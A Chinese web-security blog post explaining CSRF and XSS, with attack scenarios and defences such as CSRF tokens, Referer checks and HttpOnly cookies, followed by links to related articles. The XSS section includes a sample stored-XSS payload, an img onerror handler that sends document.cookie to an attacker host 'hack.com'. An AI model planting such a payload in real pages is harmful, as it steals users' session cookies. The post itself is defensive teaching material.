名词解释

CSRF(Cross-site request forgery)跨站请求伪造

XSS (Cross-site scripting)跨站脚本攻击,这里缩写css被前端层叠样式表(Cascading Style Sheets)占用了,为了区分就叫了xss。

攻击手段描述

  • CSRF

攻击场景描述:假设你登陆了a网站,此时你又打开了b网站的某个页面,b网站的某个页面上有一段代码,可能是一个自提交的表单,表单的action是a网站,这样b网站就模拟了你的身份,向a网站发送了一个请求。

CSRF的攻击特点是伪造其他网站的操作,冒用身份比如利用cookie伪造登录凭证,不是窃取cookie,

攻击可达到的后果:可以模拟你在a网站的所有操作,并且操作发生在你使用的浏览器,和你自己操作没有区别,比较著名的有利用gmailCSRF漏洞窃取用户邮件。

  • XSS

攻击场景描述:属于注入攻击的一种。两个用户a和b,a在某网站上发表了一篇文章,其中包含了一串js代码,比如说代码如下:

<p>
这里显示摘要内容,用户可以输入各种文本及图片
<img style="display:none" src="null" onerror="a=function(ajax({url:'//hack.com/utm.gif',data:{c:document.cookie}}));a();"
</p>

如果网站没有做任何处理,直接存储发表了这个文章,用户b等查看这篇文章的时候,这段代码就可以在用户b没有感知的情况下,窃取到b的cookie并发送到a的服务器,以用于某些不良目的

攻击可达到的后果:窃取用户cookie,损害/控制用户电脑做出某些行为,模拟用户操作等。。xss的攻击如果成功,一般来说是可以造成很严重后果的,因为对方相当于直接控制了你的操作,并做出一些你自己不会做的事情,CSRF相对来说,只是模拟了操作,还是受到服务提供者限制的。

解决方案

  • CSRF

对于跨站请求伪造,最重要的就是区分访问源头。因为发生在其他人的网站,防止攻击来源的产生是不可能的,只能从提升自己网站的甄别度来解决。

常用的解决方案:

  1. 有每一个表单都带有一个CSRF令牌(CSRF TOKEN),后端验证没有令牌的直接被拒绝,这里的令牌需要和会话绑定更能确保安全性,尤其是不要提供获取CSRF令牌的接口,否则就形同虚设了。
  2. 验证 HTTP Referer 字段
  3. 验证码(现在基本大型网站重要的操作都会进行验证,甚至是手机验证码验证来保障安全)

解释一下我博客园评论中雾林的问题:

这个csrf的令牌有啥用呢,现在laravel框架里每个页面都要求请求携带这个令牌,但是我要知道这个令牌,f12你的页面,就可以看到

令牌你可以看到,但是攻击者如果没有你的cookie,按照同源策略,另一个网站的攻击js脚本是获取不到你csrf令牌的,除非你给他看。一般来说你会把存有sessionId的cookie设置为http-only,这样js不可以获取到cookie,只能用由浏览器自动携带,也避免了cookie被盗用。所以从这两点上避免了被攻击。

  • XSS

网站不应该信任用户输入的内容,应对用户输入内容进行处理,过滤任何有执行能力的脚本或者影响页面的CSS,保证其他用户访问页面的安全。具体针对每种语言都有相应的处理机制和工具。一般各种后端框架都封装或者提供相关插件处理。

  1. 给Cookie添加HttpOnly属性, 使cookie只能在http请求中传递, 像是上面那个脚本中 document.cookie无法获取到该Cookie值. 对XSS的攻击, 有一定的防御值. 但是对网络拦截, 还是泄露了.

  2. 在cookie中绑定用户网络信息等环境值,比如ip,user agent等,并在服务端校验. 这样当cookie被人劫持了, 并冒用, 但是在服务器端校验的时候, 发现校验值发生了变化, 一定程度上去规避cookie劫持

  3. cookie中session id的定时更换, 可以一定程度减少攻击带来的损害,并不能避免攻击产生。

CSRF和XSS区别和预防的更多相关文章

  1. PHP开发中常见的安全问题详解和解决方法(如Sql注入、CSRF、Xss、CC等

    页面导航: 首页 → 网络编程 → PHP编程 → php技巧 → 正文内容 PHP安全 PHP开发中常见的安全问题详解和解决方法(如Sql注入.CSRF.Xss.CC等) 作者: 字体:[增加 减小 ...

  2. CSRF & CORS 的区别

    转发 CSRF & CORS 的区别 下面转的两篇文章分别说明了以下两个概念和一些解决方法: 1. CSRF - Cross-Site Request Forgery - 跨站请求伪造 2. ...

  3. 带你了解CSRF和XSS(二)

    什么是CSRF? CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XS ...

  4. 前端安全问题之CSRF和XSS

    一.CSRF 1.什么是 CSRF CSRF(全称 Cross-site request forgery),即跨站请求伪造 2.攻击原理 用户登录A网站,并生成 Cookie,在不登出的情况下访问危险 ...

  5. 面试 07-安全问题:CSRF和XSS

    07-安全问题:CSRF和XSS #前言 面试中的安全问题,明确来说,就两个方面: CSRF:基本概念.攻击方式.防御措施 XSS:基本概念.攻击方式.防御措施 这两个问题,一般不会问太难. 有人问: ...

  6. CSRF和XSS

    XSS(跨站脚本攻击): 攻击者发现XSS漏洞——构造代码——发送给受害人——受害人打开——攻击者获取受害人的cookie——完成攻击 XSS是什么?它的全名是:Cross-site scriptin ...

  7. 常见的 CSRF、XSS、sql注入、DDOS流量攻击

    CSRF攻击 :跨站请求伪造攻击 ,CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性 攻击者一般会使用吸引人的图片去引导用户点击进 ...

  8. web安全CSRF和XSS

    web端的安全攻击有CSRF和XSS两种,将通过以下三个方面介绍这两种安全攻击: 1.基本概念和缩写 2.攻击原理 3.防御措施 CSRF  1.基本概念和缩写 CSRF(Cross-site req ...

  9. CSRF与xss的区别

    CSRF:无法获取受害者的cookie,无法看到cookie:               只是利用受害者是被服务器信任的(靠验证cookie),而给服务器发送请求: xss:利用cookie只是xs ...

随机推荐

  1. idea maven 项目可以运行但依赖包一直是红色

    一句话!!!重启一下idea 红红的一片很烦!!!!!重启

  2. Selenium自动化测试实例-基于python

    一.Selenium介绍 Selenium是一个Web开源自动化测试框架,具有页面级操作.模拟用户真实操作.API从系统层面触发事件等特点. 1.版本 Selenium 1.0  Sever/Clie ...

  3. HTC新机A9足以取代iPhone 你相信吗?

    你相信吗?" title="HTC新机A9足以取代iPhone 你相信吗?"> 自信和嘴硬之间,往往就是成功与失败的分水岭.乔老爷子当年推出iPhone.iPad等 ...

  4. 一致性 Hash 算法分析

    当我们在做数据库分库分表或者是分布式缓存时,不可避免的都会遇到一个问题: 如何将数据均匀的分散到各个节点中,并且尽量的在加减节点时能使受影响的数据最少. Hash 取模 随机放置就不说了,会带来很多问 ...

  5. iPhone8的十面埋伏

    ​ 不知不觉,iPhone已经走到了第十个年头,也正因如此,业界最普遍的预测就是:iPhone8会出现颠覆性创新,让人眼前一亮的同时,给苹果再度续命.平心而论,苹果早就青史留名,创造了大量的奇迹,科技 ...

  6. coreseek 在gcc 4.9+ 上编译不通过 [sphinxexpr.o] Error 1 错误解决方案

    这几天玩hhvm,把gcc环境都装到4.9了,然后编译coreseek的时候就出问题,google一大圈,貌似捕风捉影看到一些信息说是gcc4.7+的c++作用域必须用this->去引用,这里整 ...

  7. Git 常用资源

    库管理 克隆库 git clone https://github.com/php/php-src.git git clone --depth=1 https://github.com/php/php- ...

  8. 运输层协议TCP和UDP

    运输层协议TCP和UDP 一.用户数据报协议 UDP 1.1.UDP 概述 UDP 只在 IP 的数据报服务之上增加了很少一点的功能,即端口的功能和差错检测的功能. 虽然 UDP 用户数据报只能提供不 ...

  9. 基本类型和引用类型的值 [重温JavaScript基础(一)]

    前言: JavaScript 的变量与其他语言的变量有很大区别.JavaScript 变量松散类型的本质,决定了它只是在特定时间用于保存特定值的一个名字而已.由于不存在定义某个变量必须要保存何种数据类 ...

  10. 达拉草201771010105《面向对象程序设计(java)》第十一周学习总结

    达拉草201771010105<面向对象程序设计(java)>第十一周学习总结 实验十一   集合 实验时间 2018-11-8 第一部分:理论知识 1.集合(Collection或称为容 ...